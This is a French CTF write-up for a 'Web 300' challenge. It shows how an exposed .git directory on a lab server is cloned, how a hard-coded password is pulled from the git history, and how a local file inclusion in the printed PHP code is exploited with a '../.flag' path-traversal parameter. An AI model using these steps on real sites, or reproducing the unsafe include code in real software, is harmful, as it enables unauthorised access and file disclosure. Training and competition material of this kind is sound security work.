Wiki sécurité informatique

Challenge WEB 300

Voici le challenge Web 300 proposé durant les CTF.

C'est un challenge original qui nous a donné vraiment mal à la tête.

Je pense que nous avons été nombreux à chercher un rapport entre les X-MEN et le challenge.

Résolution :

Voici la page d'accueil sur laquelle on arrive.

Premier réflexe :  regarder le code source.

Dans les méta données, on pouvait voir une ligne avec un numéro de commit “Update commit 548789”.

Deux options s'offrent à nous :

- Soit le site est un CMS (après googlisation ce n'est pas le cas) et il faut trouver sa version.

- Soit le site utilise un soft de subversionning (git, svn, ou autre).

Testons de trouver un repository :

http://192.168.4.1:8300/.git/

On se retrouve devant un “Forbidden”. Cela veut dire qu'il y a un répertoire git.

Sur notre pc , on crée un répertoire :

mkdir llamas

On va dedans : cd llamas

Et on git clone :

git clone http://192.168.4.1:8300/.git/ .

Cela aura pour effet de cloner le git du site sur notre machine. Et ainsi de télécharger les sources du site.

En inspectant le code source d'index.php on ne voit rien qui nous permettent de valider directement l'épreuve.

Néanmoins, il y a un include d'un fichier “.passwd”. Cependant, nous n'avons pas ce fichier dans la version de git que nous avons clonée.

Par conséquent on va afficher l'historique des commits réalisé avec git :

git log

commit 55ceec98046bea3fda2d9cc358660f066505765b

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:54:10 2015 +0100

    Add GET parameter verification

commit 3c93a840251d5ec6bdfbde683e2def9fd0be4a28

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:52:17 2015 +0100

    Add password verification in php

commit e82add9f51061086903ad0f7cfcf9568c8c8d140

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:49:45 2015 +0100

    Add form to enter password
    
commit 1c9b67a336c7ce58163567ba9193b747b2e780b5

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:49:28 2015 +0100

    Add subtitle to webpage
    
commit 492f71e69e7416e6c0765bd936274f9eb3a6e53c

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:36:10 2015 +0100

    Add missing files
    
commit 1f866c2c1aab83dabb6a2b5a4db18540d1151db7

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:36:01 2015 +0100

    First draft of web page
    
commit f9043c688d52f51d9102ef78f92e55144fb164a7

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:35:48 2015 +0100
    Import gitignore

La version de git qui nous intéresse est la première.

Pour synchroniser notre pc avec cette version  :

git reset 55ceec98046bea3fda2d9cc358660f066505765b

On s'aperçoit qu'on récupère le fichier .passwd qui n'avait pas été récupéré lors du premier clonage (restriction de git).

On affiche le contenu du fichier .passwd :\

<?php pwd="i_love_llamas_even_more_than_i_love_you" ?>

Du coup on essaye :

http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you

On obtient :

Accès authorisé mais pas de flag … Si on retourne voir dans le code source de index.php , on trouve une LFI (local file inclusion) :

<?php
$user = "";
if (isset($_GET["user"]) && $_GET["user"] != "")
   { $user = $_GET["user"]; } 
else if (isset($_POST["user"]) && $_POST["user"] != "") 
   { $user = $_POST["user"]; } 
else { $user = "anonymous fan of llamas"; } 
echo $user . ". "; 
$file = "log/" . $user; 
date_default_timezone_set(''UTC''); 
if (file_exists($file)) { include($file); } 
file_put_contents($file, "Last logged on " . date("M, d") . " at " . date("H:i") . " UTC"); 
?>

On inclus dans la variable user le fichier .flag qui est dans le dossier parent :

http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you&user=../.flag

On obtient :

le flag : *they_are_not_llamas_they_are_alpacas*